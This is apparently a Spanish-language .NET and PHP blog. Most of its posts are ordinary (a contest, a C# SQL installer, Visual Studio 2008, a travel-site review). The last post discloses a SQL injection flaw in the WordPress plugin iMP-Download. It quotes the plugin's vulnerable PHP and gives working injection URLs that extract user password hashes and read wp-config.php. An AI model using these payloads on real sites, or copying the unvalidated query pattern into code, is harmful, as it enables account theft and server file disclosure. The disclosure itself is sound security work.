Categories
.NET Microsoft Miniposts PHP

Misión Géminis 48 hs.

Para los que puedan estar interesados, Misión Géminis 48 hs. es un concurso de Microsoft para...

... demostrar en 2 etapas qué tanto sabes acerca de .Net y PHP. Durante la primera etapa deberás responder una serie de preguntas de selección múltiple sobre estos lenguajes de programación. Los participantes que contesten correctamente todo el cuestionario, con la posibilidad de múltiples intentos, podrán pasar a la segunda etapa – La Misión. Allí deberás estar preparado para el reto de desarrollar una aplicación web funcional, un sistema de Control Epidemiológico basado en PHP, y migrarla a ASP.NET. Tendrás sólo 48 horas para hacerlo, y los primeros 48 que lo hagan estarán participando por increíbles premios. Los 3 ganadores designados por especialistas calificados recibirán U$D 1.000, U$D 800 y U$D 400, respectivamente.

Para mayor información revisen la página del concurso.

Categories
.NET

Ejecutar sentencias T-SQL durante la instalación de aplicaciones .NET

Anteriormente usaba un método algo "brusco" para conseguir crear la base de datos y el esquema correspondiente durante la instalación de una aplicación. Sin embargo, hace poco acabo de enterarme a través de un blog de una forma más elegante de hacer esto para base de datos SQL Server; lo único que se necesita es crear un instalador personalizado y hacer uso de los ensamblados que provee SQL Server Management Objects:

csharp:

public class SqlScriptInstaller : Installer
{
    private readonly string sqlScript_;

    public SqlScriptInstaller(string sqlScript)
    {
        this.sqlScript_ = sqlScript;
    }

    public SqlScriptInstaller(Stream sqlStream)
    {
        using (StreamReader sr = new StreamReader(sqlStream))
        {
            this.sqlScript_ = sr.ReadToEnd();
        }
    }

    public override void Install(IDictionary stateSaver)
    {
        string connectionString = this.Context.Parameters["ConnectionString"];

        using (SqlConnection conn = new SqlConnection(connectionString))
        {
            ServerConnection serverConn = new ServerConnection(conn);
            Server sqlServer = new Server(serverConn);
            sqlServer.ConnectionContext.ExecuteNonQuery(this.sqlScript_);
        }

        base.Install(stateSaver);
    }
}

El script que acompañe a la aplicación puede incluir múltiples sentencias Transact-SQL (incluyendo la sentencia GO).

Categories
.NET

Versión final de Visual Studio 2008

Al parecer la versión final (RTM) de Visual Studio 2008 ya está disponible para aquellos que cuentan con suscripción a MSDN.

Visual Studio 2008

Entre las novedades que vienen con esta versión:

  • Aparte de las versiones express, estará disponible Visual Studio Shell 2008, que básicamente permite implementar nuevos entornos de desarrollo integrados.
  • Multitargeting, permite crear aplicaciones que usen .NET Framework 2.0, 3.0 ó 3.5
  • Mejoras en los lenguajes C# 3.0 y VB 9.0
  • LINQ
  • Soporte nativo para ASP.NET Ajax y toda la gama de controles de ASP.NET 3.5. Mejoras en la depuración e intellisense de javascript y CSS.

Para más detalles de las novedades de esta versión les remito al siguiente blog.

Fuente: Microsoft UK Developer Tools Team.

Categories
Varios

Vuelos baratos

Entrada patrocinada.

VuelosBaratos es un buscador de viajes y alojamiento que recoge y permite comparar información de precios y ofertas de distintas aerolíneas, operadores de turismo y agencias de viajes esparcidos por Internet.

Según su blog, hace poco acaban de lanzar su nuevo portal con las siguientes mejoras sobre la versión anterior:

  1. Comparador Multi-transporte: Permite al usuario comparar los precios que ofrecen distintos medios de transporte en un mismo trayecto para determinar si es más económico viajar en tren, ferry o avión. Esta característica sólo está disponible para España.
  2. Calendario de Ofertas: Permite ver las épocas del año en que conviene viajar si se quiere ahorrar algo de dinero. Esta característica se basa en el trabajo que realizan otros usuarios.
  3. Mapas: Esta sección permite ver qué aeropuertos están en un radio de 150Km a partir del lugar de destino.
  4. Filtros: Dispone de múltiples filtros que permiten refinar la búsqueda. Estos filtros se pueden realizar por los siguientes criterios: por hora de salida y llegada, precio, operador e incluso por la distancia entre el aeropuerto y el centro de la ciudad.
  5. Búsquedas Recientes: Almacena las búsquedas recientes.

Sin lugar a dudas esta versión incluye funcionalidad interesante, pero desde el punto de vista técnico tiene ciertas limitaciones que probablemente entorpecen la interacción de un usuario común y corriente con el sitio. Algunas observacíones sobre los puntos mencionados arriba:

  1. Si bien es cierto que esta característica es útil para comparar que vía de transporte es más económica, en la página de resultados no se diferencia el tipo de transporte de cada item mostrado (no todos conocemos a las compañías y/o operadores de viaje).

    Por otro lado, una mejora bastante útil para la obtener los mejores precios o distancia más corta sería que la página sugiera automáticamente las rutas a seguir (en este momento se realiza manualmente), para esto imagino que habría que aplicar la teoría de grafos para hallar distancias/costos mínimos.

  2. No me queda muy claro que tanto tienen que ver los demás usuarios para generar estos resultados, pero en algunos casos no se muestra nada.
  3. En mi opinión no ayuda mucho el mapa si el trabajo a realizar para comparar precios entre diferentes rutas lo tiene que hacer uno mismo.
  4. No tengo nada que agregar en este punto.
  5. El punto en contra de las búsquedas recientes es por la forma como está implementada esta característica, puesto que actualmente guardan la URLs de cada búsqueda en Cookies, lo cual a medida que se van haciendo más búsquedas la página se vuelve más lenta (se genera más tráfico en la red porque las cookies van y vienen del servidor).

Otros puntos en contra son el tiempo que tarda en mostrar los resultados, funcionalidad rota del navegador por el uso de AJAX (me refiero concretamente a preservar la funcionalidad del botón "atrás" del navegador), que la página y en especial el buscador principal no funcionan en dispositivos que tienen javascript deshabilitado o simplemente no lo soportan.

Finalmente, a pesar de las limitaciones (que dicho sea de paso, parecen fácilmente solucionables) creo que esta nueva versión contribuye al objetivo de que ésta página sea un recurso útil para buscar las opciones más económicas en cuanto a viajes y alojamiento se refiere.

Categories
Seguridad Sql Injection Web WordPress

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:

<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/

if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:

* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.